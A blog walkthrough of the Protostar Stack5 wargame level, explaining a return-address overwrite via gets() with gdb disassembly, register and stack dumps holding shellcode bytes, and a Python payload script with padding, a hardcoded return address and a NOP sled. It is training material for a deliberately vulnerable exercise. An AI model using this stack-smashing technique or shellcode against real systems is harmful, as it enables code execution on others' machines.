Binary Exploitation Protostar Stack5 - Walkthrough - Writeup

Posted by Suraj Singh on April 18, 2018 · 9 mins read
Hello Guyz,

Welcome again to my blog. Today, I am going to share with you my walkthrough experience of Exploit-Exercise Protostar Stack5 Level.
In this level, Our goal is to overwrite Return pointer Address Onto The Stack, So that Instead Of Returning To Main libc function, EIP (Instruction Pointer) will Point To Our Injected Shellcode. Actually Here, At this level, We just need to demonstrate that how we can use return pointer overwrite vulnerability to execute our Injected Shellcode Or Any Opcode.
Here, Opcode refers to Machine Operation Codes.

Shellcode :

Basically, Shellcodes is just a word to represent any small piece of Machine Operation Codes That can open a shell. In Other Words, It refers to the piece of Machine Operation Codes that can do any specific task.

For More Information, I will suggest you to Use Google.

Before Starting Our Walkthrough Let's Take a Look At Hints And Details.

Note: I want to highlight Few Points.

  • I'm not the creator of protostar war game. I am just a player.
  • Here, I am Just providing you hints and reference so, that if you feel stuck anywhere. Take a Look Here.
  • Understand all previous levels before starting this one.
  • Do some research on Assembly, C/C++, Shellcodes, Intel Syntax and Gdb

Source Codes

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
char buffer[64];



Stack5 is a standard buffer overflow, this time introducing shellcode.

This level is at /opt/protostar/bin/stack5


At this point in time, it might be easier to use someone elses shellcode
If debugging the shellcode, use \xcc (int3) to stop the program executing and return to the debugger
remove the int3s once your shellcode is done.

Disassembly Of Code

(gdb) disass main
Dump of assembler code for function main:
0x080483c4 <main+0>: push %ebp
0x080483c5 <main+1>: mov %esp,%ebp
0x080483c7 <main+3>: and $0xfffffff0,%esp
0x080483ca <main+6>: sub $0x50,%esp < ============ Creating Space ONto stack
0x080483cd <main+9>: lea 0x10(%esp),%eax < ======== Starting Point to Insert Values Into Create Space Buffer
0x080483d1 <main+13>: mov %eax,(%esp) < ======== Load Argument
0x080483d4 <main+16>: call 0x80482e8 <gets@plt> <===== Call Function
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump.

Stack Status

0           16                                                    80         88    92    96             156
Starting > | "A" * 64 | Paddings | EBP | EIP | NOPS * 60 | Shellcode |

Registers Info ( Breakpoint main+22 )

(gdb) info registers
eax 0xbffffc70 -1073742736
ecx 0xbffffc70 -1073742736
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffffcbc 0xbffffcbc
ebp 0x42424242 0x42424242
esi 0x0 0
edi 0x0 0
eip 0x80483da 0x80483da <main+22>
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

Stack Info  ( Breakpoint main+22 )

(gdb) x/100x $esp
0xbffffcbc: 0xbffffcc0 0x90909090 0x90909090 0x90909090
0xbffffccc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffcdc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffcec: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffcfc: 0x315e1aeb 0x074688c0 0x5e891e8d 0x0c468908
0xbffffd0c: 0xf3890bb0 0x8d084e8d 0x80cd0c56 0xffffe1e8
0xbffffd1c: 0x69622fff 0x68732f6e 0xb7ff6200 0xb7eadb9b
0xbffffd2c: 0xb7ffeff4 0x00000001 0x08048310 0x00000000
0xbffffd3c: 0x08048331 0x080483c4 0x00000001 0xbffffd64
0xbffffd4c: 0x080483f0 0x080483e0 0xb7ff1040 0xbffffd5c
0xbffffd5c: 0xb7fff8f8 0x00000001 0xbffffe77 0x00000000
0xbffffd6c: 0xbffffe91 0xbffffea1 0xbffffeac 0xbffffece
0xbffffd7c: 0xbffffee1 0xbffffeeb 0xbffffef6 0xbfffff38
0xbffffd8c: 0xbfffff4c 0xbfffff5b 0xbfffff72 0xbfffff83
0xbffffd9c: 0xbfffff8c 0xbfffff97 0xbfffff9f 0xbfffffac
0xbffffdac: 0x00000000 0x00000020 0xb7fe2414 0x00000021
0xbffffdbc: 0xb7fe2000 0x00000010 0x0febfbff 0x00000006
0xbffffdcc: 0x00001000 0x00000011 0x00000064 0x00000003
0xbffffddc: 0x08048034 0x00000004 0x00000020 0x00000005
0xbffffdec: 0x00000007 0x00000007 0xb7fe3000 0x00000008
0xbffffdfc: 0x00000000 0x00000009 0x08048310 0x0000000b
0xbffffe0c: 0x00000000 0x0000000c 0x00000000 0x0000000d
0xbffffe1c: 0x00000000 0x0000000e 0x00000000 0x00000017
0xbffffe2c: 0x00000000 0x00000019 0xbffffe5b 0x0000001f
0xbffffe3c: 0xbfffffe2 0x0000000f 0xbffffe6b 0x00000000

Our Mission

I hope, From Above Hints And Details you Already got some light on my the game plan. But If Not! Don't Worry. Let Me Explain you in more simple words.

Here, In This Level As You Already Seen In Above Gdb Disassembly Output. Main Function Is Using gets function to take Inputs from User without verifying the size of the input. Initialising Value In Buffer. So, We Just need To Overflow That Buffer Variable With Our Input So, That We can overwrite Return Function.
Now, Second Question Comes In Our Mind. What we can do after this. Well, readers Here Comes Juicy concept. We are going to insert some Opcode (Machine Operation codes) In Our Input And Then we going to use Return Pointer To Point To Our Shellcode. So That After Execution Of the main program, Because of overwritten Pointer, CPU will Execute Our Shellcode. Boom! We conquer This level.

Some Important Keypoints To Remember.

We Can use \x90 Opcode In Starting With Shellcode. Why? Because \x90 is a NOP Opcode (No Operation Machine Code). Basically, When CPU registers counter this code. they, Just Ignore it and Move to another address. Hence, We can use 20-50 NOP To make our shellcode address more accurate.

\xcc (int3) to stop the program executing

\xcc is another important Opcode. it's A Trap Command. In simple words, Whenever CPU registers receive the \xcc code. They Just Stop All Process, Through Trap Error And Terminate Execution.
So, We can use This opcode to verify in place of shellcode that CPU is successfully executing our Pointed shellcode address Or Not.



import struct

# Insert Your Shellcode Here
shellcode = "\xcc"*40

eip = '\xc0\xfc\xff\xbf' # EIP 0xbffffcc0
tbis = "A"*64 # Buffer
pads = 'B'*12 # Paddings
payload = tbis + pads+ eip + '\x90'*60 + shellcode
print payload

Ohh Yeah! Another Victory.

For More Detailed Walk through Check Below Provided YouTube Video Playlist

Bitforestinfo YouTube Protostar CTF Playlist